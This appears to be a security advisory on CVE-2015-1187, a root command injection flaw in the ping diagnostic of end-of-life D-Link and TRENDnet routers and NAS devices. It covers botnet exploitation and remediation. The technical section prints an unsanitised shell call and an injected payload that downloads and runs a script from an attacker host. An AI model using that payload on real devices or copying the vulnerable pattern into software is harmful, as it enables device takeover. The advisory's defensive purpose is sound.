CVE-2015-1187

What Products Are Affected?

CVE-2015-1187 affects the ping diagnostic functionality across multiple D-Link and TRENDnet consumer and small-business network devices including routers, NAS devices, and access points. The affected devices run embedded Linux-based firmware that exposes a web management interface with diagnostic tools. Many of these devices are at or near end-of-life, with manufacturers having ceased firmware updates years ago.

The vulnerability class — OS command injection through diagnostic tools — is one of the most common embedded device vulnerability patterns. Router and NAS firmware frequently implements diagnostic features (ping, traceroute, DNS lookup) by constructing shell commands using user-supplied input without proper sanitization.

Overview

CVE-2015-1187 is a remote code execution vulnerability in the ping diagnostic tool of multiple D-Link and TRENDnet devices. The ping functionality passes user-supplied input directly to a system shell command without sanitizing shell metacharacters, allowing a remote attacker to inject arbitrary OS commands that execute as root on the device. Affected devices are end-of-life with no vendor patches available. CISA added this to the KEV catalog in March 2022, confirming continued mass exploitation against the large installed base of unpatched consumer and SOHO devices.

Affected Versions

The affected devices are end-of-life products. No firmware patches are available or planned from the manufacturers.

Technical Details

Root Cause: OS Command Injection in Ping Handler

The device's web management interface provides a diagnostic ping tool that accepts a hostname or IP address from the user and tests connectivity. The firmware implements this feature by passing the user-supplied value to a system shell:

system("ping -c 4 " + user_input);

Because user_input is not sanitized for shell metacharacters, an attacker can inject additional commands using ;, |, `, $(), or other shell metacharacter sequences:

; wget http://attacker.com/bot.sh -O /tmp/bot.sh; sh /tmp/bot.sh

The resulting shell execution runs as root (the normal privilege level for embedded Linux firmware processes), giving the attacker full device control.

Authentication Bypass Component

The CWE-287 (Improper Authentication) classification reflects an additional aspect of the vulnerability: the diagnostic endpoint in some affected devices is accessible without valid authentication — either because it lacks authentication entirely, uses trivially bypassable auth, or is accessible via CSRF. This pre-authentication RCE property drives the CVSS 9.8 score.

Attack Characteristics

Discovery

The vulnerability was identified by security researchers analyzing D-Link and TRENDnet device firmware in early 2015. The formal NVD publication was delayed to September 2017, a common pattern for embedded device vulnerabilities where manufacturer response is slow or absent.

Exploitation Context

• Mirai and IoT botnets: CVE-2015-1187 and similar D-Link/TRENDnet command injection vulnerabilities are actively exploited by Mirai variants and successor botnets (Mozi, Satori, Gafgyt) to enlist consumer routers into DDoS infrastructure
• Mass internet scanning: Automated scanners continuously probe internet-facing router management interfaces for known embedded device vulnerabilities; devices with remote management enabled are identified and compromised within hours of connecting to the internet
• EOL device permanence: The affected devices will never receive patches; the only remediation is replacement or permanent removal from internet exposure
• Persistent exploitation: CISA KEV addition in March 2022 — seven years after the CVE was assigned — reflects the massive installed base of unpatched consumer routers still operating
• CISA KEV (2022): Added March 2022

Remediation

1. Replace affected devices — the only complete remediation. End-of-life devices will never receive a firmware fix. Replace with a currently supported router or NAS from a vendor with an active security response program.

2. Disable remote management — if replacement is delayed, immediately disable the web management interface from internet access. Set the management interface to LAN-only access.

3. Firewall the management port — block inbound access to TCP 80 and TCP 443 on the device's WAN interface using an upstream firewall or ISP-level ACLs.

4. Check for compromise — if the device has been internet-accessible with remote management enabled, assume it may already be compromised. Perform a factory reset and then immediately restrict management access before reconnecting.

5. Network segmentation — isolate IoT and consumer network devices on a separate VLAN or network segment from corporate and sensitive systems to limit the impact of device compromise.